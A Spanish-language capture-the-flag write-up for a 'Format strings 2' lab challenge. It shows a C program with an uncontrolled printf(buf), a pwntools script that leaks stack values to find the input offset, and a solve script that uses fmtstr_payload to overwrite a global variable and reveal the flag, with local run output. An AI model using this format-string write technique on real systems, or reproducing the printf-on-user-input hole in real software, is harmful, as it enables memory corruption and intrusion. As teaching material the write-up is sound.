Format strings 2


July 17, 20253 minutes

#include <stdio.h>

int sus = 0x21737573;

int main() {
  char buf[1024];
  char flag[64];


  printf("You don't have what it takes. Only a true wizard could change my suspicions. What do you have to say?\n");
  fflush(stdout);
  scanf("%1024s", buf);
  printf("Here's your input: ");
  printf(buf);
  printf("\n");
  fflush(stdout);

  if (sus == 0x67616c66) {
    printf("I have NO clue how you did that, you must be a wizard. Here you go...\n");

    // Read in the flag
    FILE *fd = fopen("flag.txt", "r");
    fgets(flag, 64, fd);

    printf("%s", flag);
    fflush(stdout);
  }
  else {
    printf("sus = 0x%x\n", sus);
    printf("You can do better!\n");
    fflush(stdout);
  }

  return 0;
}

Este programa tiene una vulnerabilidad de format strings, ya que se hace un printf de buf sin especificar el tipo

  printf(buf);

El programa verifica si la variable sus contiene el valor 0x67616c66 (el cual en ASCII es ‘flag’ al revés: ‘galf’). Si es así, muestra la flag. Pero sus está inicialmente definido como:

int sus = 0x21737573;
...

if (sus == 0x67616c66) { ... }

y nunca se modifica, por lo tanto, la condición no se cumple de forma normal. El objetivo es usar la vulnerabilidad de format string para modificar el valor de sus a 0x67616c66 y así hacer que se imprima la flag.

El primer paso es encontrar el offset, para ello usé este script, básicamente va lekeando cada posición del stack y al principio manda unas ‘A’ para encontrar el offset hay que encontrar cuando printea las ‘A’.

#!/usr/bin/env python3

from pwn import *
import base64

exe = ELF("./vuln_patched")

context.binary = exe
context.log_level = 'warn'

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()
    for i in range(1, 50):
        try:
            r = conn()
            payload = f"AAAAAAAA%{i}$p"
            r.sendlineafter('say?', payload)
            output = r.recvline()
            output = r.recvline()
            print(f"{i}: {output}")
        except:
            pass
    r.interactive()


if __name__ == "__main__":
    main()
1: b"Here's your input: AAAAAAAA0x7fff3b4f8c20\n"
2: b"Here's your input: AAAAAAAA(nil)\n"
3: b"Here's your input: AAAAAAAA(nil)\n"
4: b"Here's your input: AAAAAAAA(nil)\n"
5: b"Here's your input: AAAAAAAA0x7ff089bdeea0\n"
6: b"Here's your input: AAAAAAAA0x1\n"
7: b"Here's your input: AAAAAAAA0x7fff513823a0\n"
8: b"Here's your input: AAAAAAAA(nil)\n"
9: b"Here's your input: AAAAAAAA(nil)\n"
10: b"Here's your input: AAAAAAAA(nil)\n"
11: b"Here's your input: AAAAAAAA0x7f2e8da3a310\n"
12: b"Here's your input: AAAAAAAA0x7ffe73bb7450\n"
13: b"Here's your input: AAAAAAAA0x7fd193cdb274\n"
14: b"Here's your input: AAAAAAAA0x4141414141414141\n"

En la posición 14 muestra 0x4141414141414141, con esto se sabe, ya que el input se guarda en la posición 14

Lo siguiente es saber la dirección de sus

pwndbg> p &sus
$1 = (<data variable, no debug info> *) 0x404060 <sus>

Con esta información ya se puede hacer el exploit

#!/usr/bin/env python3

from pwn import *
import base64

exe = ELF("./vuln_patched")

context.binary = exe
context.log_level = 'warn'

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    else:
        r = remote("addr", 1337)

    return r


def main():
    r = conn()
    sus = 0x404060
    nuevo_valor = 0x67616c66
    offset = 14

    payload = fmtstr_payload(offset, {sus: nuevo_valor})
    # good luck pwning :)
    r.sendlineafter('say?', payload)

    r.interactive()


if __name__ == "__main__":
    main()
[d3bo@archlinux format_strings_2]$ python3 solve.py LOCAL

Here's your input:                                                                                                      0c    \x00                                                                                                                                                                                                                                                    \x00aaaaba`@@
I have NO clue how you did that, you must be a wizard. Here you go...